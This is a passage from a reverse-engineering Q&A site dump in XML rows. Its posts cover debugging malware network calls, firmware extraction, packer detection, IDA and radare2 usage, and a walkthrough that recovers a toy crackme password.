&lt;code&gt;0x0961DB0&lt;/code&gt; execution continues to &lt;code&gt;0x01051C18&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you should've guessed by now, &lt;code&gt;0x0961DB0&lt;/code&gt; is simply &lt;code&gt;0x1337&lt;/code&gt; times 2000.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Instructions &lt;code&gt;0x01051C18&lt;/code&gt; to &lt;code&gt;0x01051C22&lt;/code&gt; are the implementation of calling &lt;code&gt;wrong&lt;/code&gt;, setting &lt;code&gt;eax&lt;/code&gt; to the correct return value (&lt;code&gt;1&lt;/code&gt;) and then jumping to where (I assume) the function prolog and &lt;code&gt;ret&lt;/code&gt; are executed.&lt;/p&gt;&#xA;" OwnerUserId="2147" LastEditorUserId="2147" LastEditDate="2018-10-01T17:44:00.440" LastActivityDate="2018-10-01T17:44:00.440" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="19431" PostTypeId="1" CreationDate="2018-09-23T02:20:36.147" Score="2" ViewCount="369" Body="&lt;p&gt;I'm, using OllyDbg 1.1 to debug some malware and it's been quite a while since I've dealt with &lt;code&gt;wininet&lt;/code&gt; calls. When I set a software or hardware breakpoint directly after the call to &lt;code&gt;wininet.HttpSendRequestW&lt;/code&gt; the breakpoint never hits and it seems like the malware hangs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've also verified that I can reach the internet and the resource that is involved in the &lt;code&gt;HttpSendRequestW&lt;/code&gt; call. What's the trick to allowing a step-over on these wininet functions?&lt;/p&gt;&#xA;" OwnerUserId="8403" LastActivityDate="2022-04-06T00:01:25.137" Title="OllyDbg &quot;runs away&quot; when stepping over wininet.HttpSendRequestW" Tags="|ollydbg|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="19432" PostTypeId="2" ParentId="19431" CreationDate="2018-09-23T14:16:44.160" Score="1" Body="&lt;p&gt;Check if the program calls &lt;a href=&quot;https://docs.microsoft.com/en-us/windows/desktop/api/wininet/nf-wininet-internetsetstatuscallback&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;InternetSetStatusCallback&lt;/code&gt;&lt;/a&gt; which allows setting a callback to be called during different stages of the connection.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Possibly the callback performs the actual work, or it detects the debugger and hangs without returning to the caller. &lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2018-09-23T14:16:44.160" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="19434" PostTypeId="2" ParentId="1763" CreationDate="2018-09-23T17:40:37.073" Score="-1" Body="&lt;p&gt;The webdecomp tool didn't work for me on the latest builds of DD-WRT, managed to extract the firmware though.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;root@ubuntu:~/Desktop/firmware-mod-kit/src/webcomp-tools$ ./webdecomp --httpd=&quot;/home/root/Desktop/firmware-mod-kit/fmk/rootfs/usr/sbin/httpd&quot; -www=&quot;/home/root/Desktop/firmware-mod-kit/fmk/rootfs/etc/www&quot; --dir=&quot;/home/root/Desktop/www&quot; --extract&#xA;Failed to locate websRomPageIndex!&#xA;Failed to detect httpd settings!&#xA;Failed to process Web files!&#xA;&#xA;root@ubuntu:~/Desktop/firmware-mod-kit/fmk/rootfs/usr/sbin$ file httpd &#xA;httpd: ELF 32-bit LSB executable, MIPS, MIPS32 version 1, dynamically linked, interpreter /lib/ld-uClibc.so.0, corrupted section header size&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Looks like they have obfuscated the section headers.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;root@ubuntu:~/Desktop/firmware-mod-kit/src/webcomp-tools$ readelf -a /home/root/Desktop/firmware-mod-kit/fmk/rootfs/usr/sbin/httpd&#xA;ELF Header:&#xA;  Magic:   7f 45 4c 46 01 01 01 00 01 00 00 00 00 00 00 00 &#xA;  Class:                             ELF32&#xA;  Data:                              2's complement, little endian&#xA;  Version:                           1 (current)&#xA;  OS/ABI:                            UNIX - System V&#xA;  ABI Version:                       1&#xA;  Type:                              EXEC (Executable file)&#xA;  Machine:                           MIPS R3000&#xA;  Version:                           0x1&#xA;  Entry point address:               0x401a30&#xA;  Start of program headers:          52 (bytes into file)&#xA;  Start of section headers:          0 (bytes into file)&#xA;  Flags:                             0x54001005, noreorder, cpic, o32, mips16, mips32&#xA;  Size of this header:               52 (bytes)&#xA;  Size of program headers:           32 (bytes)&#xA;  Number of program headers:         7&#xA;  Size of section headers:           0 (bytes)&#xA;  Number of section headers:         0&#xA;  Section header string table index: 0&#xA;&#xA;There are no sections in this file.&#xA;&#xA;There are no sections to group in this file.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="25764" LastActivityDate="2018-09-23T17:40:37.073" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="19437" PostTypeId="1" AcceptedAnswerId="19441" CreationDate="2018-09-24T11:03:32.537" Score="1" ViewCount="2926" Body="&lt;p&gt;I have a binary with &lt;a href=&quot;http://vmpsoft.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;VMProtect&lt;/a&gt;. Some tools giving info that this is 2.x, some that 3.x. How I could check it? Thanks.&lt;/p&gt;&#xA;" OwnerUserId="25771" LastEditorUserId="2147" LastEditDate="2018-09-24T22:31:09.713" LastActivityDate="2018-09-24T22:31:09.713" Title="How detect version of VMProtect" Tags="|disassembly|unpacking|packers|vmprotect|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="19438" PostTypeId="2" ParentId="18054" CreationDate="2018-09-24T16:28:45.627" Score="1" Body="&lt;p&gt;It must have truncated your database value, 99999999, to a 16-bit unsigned integer: &lt;code&gt;99999999 = 0x5F5E0FF =&amp;gt; 0x5F5E0FF &amp;amp; 0xFFFF = 0xE0FF = 57599&lt;/code&gt; (or more succinctly &lt;code&gt;99999999 % 65536 = 57599&lt;/code&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unfortunately, it's probably impossible to easily change that 2-byte integer to a 4-byte one. In memory, structures might be laid out so that everything is aligned with that integer's size in mind:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;struct {&#xA;    uint16_t yourInt; // offset 0x0&#xA;    int otherValue;   // offset 0x2&#xA;} x;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is just a toy example, but suppose in the code there was:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;printf(&quot;%d\n&quot;, x.otherValue);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This might compile down to something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;lea esi, [ebp-local_var]&#xA;mov eax, [esi+2] // +2, since that's the offset of otherValue in structure x&#xA;push eax&#xA;push &quot;%d\n&quot;&#xA;call printf&#xA;add esp, 8&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In other words, all of the code is laid out to treat memory as if it was setup with that integer as 2-bytes. To change the length of your int, you'd have to &quot;carve out&quot; space where it's stored in memory.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Moreover, the instructions used to access and write that value differs by size:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For 16-bits, it might be:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mov eax, word ptr [edx] // 66 8b 02 - to read &#xA;mov word ptr [edx], eax // 66 89 02 - to write&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But for 32-bits, it might be:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mov eax, dword ptr [edx] // 8b 02 - to read&#xA;mov dword ptr [edx], eax // 89 02 - to write&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Evidently, these instructions have different opcodes, so you'd have to patch the code everywhere that variable is referenced.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One strategy, if you're willing to undertake this, is to put a read/write hardware memory breakpoint on your value. Then, note down everywhere it's used. You can carve out space for the value somewhere in the .data section or add a new section to the PE file. Then, patch all references to that value in code to reference the space you carved out for the new copy of the variable.&lt;/p&gt;&#xA;" OwnerUserId="23765" LastEditorUserId="23765" LastEditDate="2018-09-24T16:36:18.363" LastActivityDate="2018-09-24T16:36:18.363" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19439" PostTypeId="2" ParentId="19365" CreationDate="2018-09-24T16:55:13.150" Score="2" Body="&lt;p&gt;One (rather ugly) solution to this is simply to crash the program by setting the thread's context's instruction pointer to unmapped memory or kernel memory. You can accomplish that with Frida's interceptor by using &lt;code&gt;this.context&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;onLeave: function (result) {&#xA;    this.context.pc = 0&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="23765" LastActivityDate="2018-09-24T16:55:13.150" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="19441" PostTypeId="2" ParentId="19437" CreationDate="2018-09-24T19:20:53.350" Score="1" Body="&lt;p&gt;Unfortunately there's no easy answer here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Most of these tools employ different types of heuristics to determine the version used. Often times just applying binary signatures which could be inaccurate. Without gaining a decent understanding of VMProtect to recognize the differences this will be quite difficult.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If tools used are open-source or well-documented, you can go over the signature used to detect the version, and validate it manually once you have a good understanding of the rational behind it. &lt;/p&gt;&#xA;" OwnerUserId="2147" LastActivityDate="2018-09-24T19:20:53.350" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19442" PostTypeId="1" AcceptedAnswerId="19446" CreationDate="2018-09-24T19:54:10.547" Score="1" ViewCount="1024" Body="&lt;p&gt;Here is the binary file. &lt;a href=&quot;https://drive.google.com/file/d/1ywN60yZYIhPPRyZMGbQudZRYoLYBhkeJ/view?usp=sharing&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://drive.google.com/file/d/1ywN60yZYIhPPRyZMGbQudZRYoLYBhkeJ/view?usp=sharing&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am able to figure out some of the assembly, but can't get the correct password. I know that it is two integers separated by a space.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: By using the command &lt;code&gt;ps @ str.d__d&lt;/code&gt; you get the result of &lt;code&gt;%d %d&lt;/code&gt;. It is located at the address &lt;code&gt;0x0804853f&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT2: I figured out that there are multiple local variables being used:  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;var int local_2ch @ ebp-0x2c &#xA;var int local_20h @ ebp-0x20 &#xA;var int local_1ch @ ebp-0x1c &#xA;var unsigned int local_18h @ ebp-0x18 &#xA;var int local_14h @ ebp-0x14 &#xA;var int local_10h @ ebp-0x10&#xA;var int canary @ ebp-0xc&#xA;var int local_4h @ ebp-0x4 &#xA;arg int arg_4h @ esp+0x4 &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="25727" LastEditorUserId="60" LastEditDate="2018-09-24T21:04:02.707" LastActivityDate="2018-09-27T14:58:37.143" Title="What is the password to this file? I can't figure it out with radare2 or gdb" Tags="|disassembly|x86|decompilation|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="19444" PostTypeId="1" CreationDate="2018-09-24T23:42:39.030" Score="9" ViewCount="1426" Body="&lt;p&gt;I'm TV repair tech and I've found that corrupted firmware is responsible for  the failure of a large portion of the TV's I work on. I came up with the idea that if I could reverse engineer the firmware, I could probably write a  script which could analyze a fw image and determine if it's corrupted or not. The current method involves buying a preprogrammed eeprom, at a cost of $15, and at least half the time it ends up being a waste of money.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've done some testing with UART and found that I get the same messages at boot whether the fw is corrupted or not, basically saying everything is OK. That leads me to believe that the problem is with the file system. And that's pretty much where I'm stuck. I've tried binwalk, and after some time I have been able to extract and decompress about 3mb of LZMA compressed data and a JPG which is the splash screen, but I can't find the file system.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Running binwalk on the original binary, I get this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;101602        0x18CE2         MySQL MISAM index file Version 4&#xA;145536        0x23880         LZMA compressed data, properties: 0x5D, dictionary size: 67108864 bytes, uncompressed size: 3126792 bytes&#xA;2246688       0x224820        JPEG image data, JFIF standard 1.02&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;For whatever reason, I can't seem to extract the MISAM part.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Running binwalk on the decompressed LZMA part I get this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;1484791       0x16A7F7        PARity archive data - file number 24064&#xA;1715704       0x1A2DF8        MySQL MISAM index file Version 4&#xA;1764734       0x1AED7E        Boot section Start 0x0 End 0x100&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I've tried extracting the PARchive and boot sections with dd, but I can't open them. I think it's because of trailing garbage. I've used hexdump and searched for magic bytes, but can't find any. Any suggestions would be greatly appreciated. I can also provide a copy of the fw if anyone cares to take a stab at it.&lt;/p&gt;&#xA;" OwnerUserId="25778" LastEditorUserId="2147" LastEditDate="2018-09-24T23:57:39.963" LastActivityDate="2018-09-24T23:57:39.963" Title="Firmware analysis, can't find file system" Tags="|firmware|binwalk|" AnswerCount="0" CommentCount="10" ContentLicense="CC BY-SA 4.0" />
  <row Id="19445" PostTypeId="1" CreationDate="2018-09-25T02:13:26.200" Score="2" ViewCount="247" Body="&lt;p&gt;Short intro: I am building an electronics workbench, and I needed a microscope. This Joysmade USB/WiFi microscope was $45, and it would work with exception to the below issues.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My &quot;dumb&quot; TV was set above the workbench so that I could use it as the display for a microscope. The Joysmade USB/WiFi microscope has an app for Android and iOS as well as one for Windows. I don't have room for a real computer, so I have a Raspberry Pi Zero W hooked into the TV. I finally got the USB portion to work with Raspbian, but the speed is about 9 FPS.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have decompiled the Android APK, but might be too inept to understand how to trace through to determine how it is working. There are a few ARM binary libraries in there, one I am specifically interested in, but I can't find a decent tool to decompile that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have used Wireshark to capture some UDP traffic, and I can't determine what to make of that one, either. This is probably some ineptitude here as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know that the WiFi module is an SSV7241 based on the link within the WiFi status page on the microscope itself, but can't figure out how to connect to the microscope using a regular media player like VLC. This is the ultimate goal, as Raspbian has VLC and the goal is to have it displayed wirelessly to the &quot;dumb&quot; TV through the Raspberry Pi. Also of note is that there is a TCP port open on 8081. I can't really figure out what to do to probe that port any further, though.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This thing can't be taken apart without breaking the casing. I've tried. Not much more can be figured out about the circuitry without sacrificing the unit.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone give me a bit more of a shove in the right direction or offer up some guidance in getting this thing to bend to my will? I'm too cheap and cramped for space to get a real microscope.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once again, I am trying to figure out how to connect to the WiFi stream on the microscope through VLC, MPlayer, or some other video player on the Raspberry Pi so that I can view it in HD glory on a 46&quot; television hanging above my bench. I think this will take some decoding of the UDP stream, but I'm not experienced enough to do this, and can't find a lot of help through a Google search.&lt;/p&gt;&#xA;" OwnerUserId="25779" LastEditorUserId="25779" LastEditDate="2018-09-27T17:39:04.573" LastActivityDate="2018-09-27T17:39:04.573" Title="Joysmade USB/WiFi microscope" Tags="|android|wireshark|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="19446" PostTypeId="2" ParentId="19442" CreationDate="2018-09-25T07:53:05.140" Score="3" Body="&lt;p&gt;Here's how you can do it. &#xA;Usual stuff : &lt;code&gt;r2 file; aaa; pdf@sym.main&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can see the params to &lt;code&gt;scanf&lt;/code&gt; pushed to stack.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;|           0x08048537      8d45e4         lea eax, [local_1ch]&#xA;|           0x0804853a      50             push eax&#xA;|           0x0804853b      8d45e0         lea eax, [local_20h]&#xA;|           0x0804853e      50             push eax&#xA;|           0x0804853f      6855860408     push str.d__d               ; 0x8048655 ; &quot;%d %d&quot; ; const char *format&#xA;|           0x08048544      e887feffff     call sym.imp.__isoc99_scanf ; int scanf(const char *format)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Lets rename locals.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[0x080484eb]&amp;gt; afv?&#xA;Usage: afv  [rbs]&#xA;| afvr[?]                       manipulate register based arguments&#xA;| afvb[?]                       manipulate bp based arguments/locals&#xA;| afvs[?]                       manipulate sp based arguments/locals&#xA;| afv*                          output r2 command to add args/locals to flagspace&#xA;| afvR [varname]                list addresses where vars are accessed (READ)&#xA;| afvW [varname]                list addresses where vars are accessed (WRITE)&#xA;| afva                          analyze function arguments/locals&#xA;| afvd name                     output r2 command for displaying the value of args/locals in the debugger&#xA;| afvn [new_name] ([old_name])  rename argument/local&#xA;| afvt [name] [new_type]        change type for given argument/local&#xA;| afv-([name])                  remove all or given var&#xA;&#xA;[0x080484eb]&amp;gt; afvn input_1 local_20h&#xA;[0x080484eb]&amp;gt; afvn input_2 local_1ch&#xA;[0x080484eb]&amp;gt; pdf@sym.main&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now it looks like&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;|           0x08048537      8d45e4         lea eax, [input_2]&#xA;|           0x0804853a      50             push eax&#xA;|           0x0804853b      8d45e0         lea eax, [input_1]&#xA;|           0x0804853e      50             push eax&#xA;|           0x0804853f      6855860408     push str.d__d               ; 0x8048655 ; &quot;%d %d&quot; ; const char *format&#xA;|           0x08048544      e887feffff     call sym.imp.__isoc99_scanf ; int scanf(const char *format)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;There's a check for Correct/Incorrect&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;|       `-&amp;gt; 0x08048579      837de800       cmp dword [local_18h], 0&#xA;|       ,=&amp;lt; 0x0804857d      7412           je 0x8048591&#xA;|       |   0x0804857f      83ec0c         sub esp, 0xc&#xA;|       |   0x08048582      685b860408     push str.Correct            ; 0x804865b ; &quot;Correct!&quot; ; const char *s&#xA;|       |   0x08048587      e824feffff     call sym.imp.puts           ; int puts(const char *s)&#xA;|       |   0x0804858c      83c410         add esp, 0x10&#xA;|      ,==&amp;lt; 0x0804858f      eb10           jmp 0x80485a1&#xA;|      ||   ; CODE XREF from main (0x804857d)&#xA;|      |`-&amp;gt; 0x08048591      83ec0c         sub esp, 0xc&#xA;|      |    0x08048594      6864860408     push str.Incorrect          ; 0x8048664 ; &quot;Incorrect!&quot; ; const char *s&#xA;|      |    0x08048599      e812feffff     call sym.imp.puts           ; int puts(const char *s)&#xA;|      |    0x0804859e      83c410         add esp, 0x10&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If &lt;code&gt;local_18h&lt;/code&gt; is 1/0, Correct/Incorrect is printed out to stdout respectively. Rename &lt;code&gt;local_18h&lt;/code&gt; to &lt;code&gt;final_flag&lt;/code&gt; as it decides the final output.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[0x0804852b]&amp;gt; afvn final_flag local_18h&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Some constants are loaded to local variables. Remember/rename them to follow in code.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;|           0x0804850f      c745e8010000.  mov dword [final_flag], 1&#xA;|           0x08048516      c745ec2a0000.  mov dword [local_14h], 0x2a ; '*' ; 42&#xA;|           0x0804851d      c745f0390500.  mov dword [local_10h], 0x539 ; 1337&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;final_flag&lt;/code&gt; is initially 1 (true). Just after input, there's a check to set &lt;code&gt;final_flag&lt;/code&gt; to 0(false).&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;|           0x0804854c      8b45ec         mov eax, dword [const_2a]&#xA;|           0x0804854f      35280a0000     xor eax, 0xa28&#xA;|           0x08048554      89c2           mov edx, eax&#xA;|           0x08048556      8b45e0         mov eax, dword [input_1]&#xA;|           0x08048559      39c2           cmp edx, eax&#xA;|       ,=&amp;lt; 0x0804855b      7407           je 0x8048564&#xA;|       |   0x0804855d      c745e8000000.  mov dword [final_flag], 0&#xA;|       |   ; CODE XREF from main (0x804855b)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This can be roughly translated to:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if const_2a^0xa28 != input_1:&#xA;    final_flag = False&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To pass this input_1 = const_2a^0xa28 &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;gt;&amp;gt;&amp;gt; 0x2a^0xa28&#xA;2562&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Similar check for input_2&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;|       `-&amp;gt; 0x08048564      8b45f0         mov eax, dword [const_539]&#xA;|           0x08048567      f7d0           not eax&#xA;|           0x08048569      89c2           mov edx, eax&#xA;|           0x0804856b      8b45e4         mov eax, dword [input_2]&#xA;|           0x0804856e      39c2           cmp edx, eax&#xA;|       ,=&amp;lt; 0x08048570      7407           je 0x8048579&#xA;|       |   0x08048572      c745e8000000.  mov dword [final_flag], 0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This can be roughly translated to:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ~const_539 != input_2:&#xA;    final_flag = False&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To pass this input_2 = ~const_539&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;gt;&amp;gt;&amp;gt; ~0x539&#xA;-1338&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Finally&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;./part2&#xA;Enter the password: 2562 -1338&#xA;Correct!&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="14622" LastActivityDate="2018-09-25T07:53:05.140" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19448" PostTypeId="1" CreationDate="2018-09-25T08:23:51.723" Score="1" ViewCount="2171" Body="&lt;p&gt;I just want to find out all the locations that call the standard library function &lt;code&gt;pthread_attr_getstack&lt;/code&gt; using ida pro. There is an entry in .plt:  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.plt:00015894 ; =============== S U B R O U T I N E =======================================&#xA;.plt:00015894&#xA;.plt:00015894 ; Attributes: thunk&#xA;.plt:00015894&#xA;.plt:00015894 ; int pthread_attr_getstack(const pthread_attr_t *attr, void **stackaddr, size_t *stacksize)&#xA;.plt:00015894 pthread_attr_getstack&#xA;.plt:00015894                 ADRL            R12, 0x3AD89C&#xA;.plt:0001589C                 LDR             PC, [R12,#(pthread_attr_getstack_ptr - 0x3AD89C)]! ; __imp_pthread_attr_getstack&#xA;.plt:0001589C ; End of function pthread_attr_getstack&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If I double click the &lt;code&gt;__imp_pthread_attr_getstack&lt;/code&gt;, it will go to:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;extern:003D8520 ; int pthread_attr_getstack(const pthread_attr_t *attr, void **stackaddr, size_t *stacksize)&#xA;extern:003D8520                 IMPORT __imp_pthread_attr_getstack&#xA;extern:003D8520                                         ; CODE XREF: pthread_attr_getstack+8↑j&#xA;extern:003D8520                                         ; DATA XREF: .got:pthread_attr_getstack_ptr↑o&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And if I double click &lt;code&gt;pthread_attr_getstack+8↑j&lt;/code&gt;, it will go to the above .plt entry, and if I double click &lt;code&gt;.got:pthread_attr_getstack_ptr↑o&lt;/code&gt;, it will go to one .got entry:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.got:003ADD8C pthread_attr_getstack_ptr DCD __imp_pthread_attr_getstack&#xA;.got:003ADD8C                                         ; DATA XREF: pthread_attr_getstack+8↑r&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And if I double click the &lt;code&gt;pthread_attr_getstack+8↑r&lt;/code&gt; in the .got entry, it will go to the above .plt entry as well. Does this mean that there is no code calling &lt;code&gt;pthread_attr_getstack&lt;/code&gt;? If the answer is no, then how to find out all of locations calling &lt;code&gt;pthread_attr_getstack&lt;/code&gt;?&#xA;By the way, &lt;a href=&quot;https://www.dropbox.com/s/ueo7c23cenih4eo/libmono.so?dl=0&quot; rel=&quot;nofollow noreferrer&quot;&gt;this&lt;/a&gt; is the elf which is named libmono.so that I want to reverse.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;One thing to emphasis, the libmono.so elf file is very liked to be encrypted, that is to say, there may be a lot of obfuscated code in libmono.so.&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="25637" LastEditorUserId="25637" LastEditDate="2018-09-27T02:00:13.147" LastActivityDate="2018-09-27T02:00:13.147" Title="How to find out all the locations that call an external function using ida pro?" Tags="|ida|got|plt|" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 4.0" />
  <row Id="19450" PostTypeId="2" ParentId="19406" CreationDate="2018-09-25T14:00:11.607" Score="1" Body="&lt;p&gt;The main problem is: &lt;code&gt;/Zi&lt;/code&gt; is required. Including just &lt;code&gt;/debug&lt;/code&gt; is not enough. That's because the type information is stored in the compiler &lt;code&gt;.pdb&lt;/code&gt; file. See also &lt;a href=&quot;https://stackoverflow.com/questions/3796090/compiler-pdb-file-and-the-linker-pdb-file&quot;&gt;Compiler PDB file and the Linker PDB file - Stack Overflow&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The command line can looks like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;cl.exe &lt;b&gt;&lt;i&gt;/Zi&lt;/i&gt;&lt;/b&gt; a.cpp /EHsc /link /subsystem:windows&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note that &lt;code&gt;/Zi&lt;/code&gt; implies &lt;code&gt;/debug&lt;/code&gt; (therefore it's not necessary to specify &lt;code&gt;/debug&lt;/code&gt; when &lt;code&gt;/Zi&lt;/code&gt; is included)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Hint&lt;/strong&gt;: It's not necessary to build the executable. Just compile the file itself is enough (using &lt;code&gt;/c&lt;/code&gt;).&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;There are some other problems that one may get while doing that:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;The error message&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;&amp;lt; It appears that MS DIA SDK is not installed.&#xA;Please try installing &quot;Microsoft Visual C++ 2008 Redistributable Package / x86&quot; &amp;gt;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;appears in the &quot;Output window&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Solution: just install &lt;a href=&quot;https://www.microsoft.com/en-us/download/details.aspx?id=29&quot; rel=&quot;nofollow noreferrer&quot;&gt;Microsoft Visual C++ 2008 Redistributable Package (x86)&lt;/a&gt;.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;pre&gt;&lt;code&gt;Internal IDA Error&#xA;&#xA;Oops! internal error 984 occured.&#xA;Further work is not possible and IDA will close.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It's &lt;a href=&quot;https://www.hex-rays.com/products/ida/6.9/index.shtml&quot; rel=&quot;nofollow noreferrer&quot;&gt;a bug that is fixed in IDA 6.9&lt;/a&gt;.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The classes just don't appear in &quot;Local Types&quot; tab.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Check the output window to see if the error message mentioned in problem 1 appears.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;By the way, it is possible to import any C++ type into IDA using this method, not just specifically MFC.&lt;/p&gt;&#xA;" OwnerUserId="25171" LastEditorUserId="25171" LastEditDate="2018-09-25T15:59:55.083" 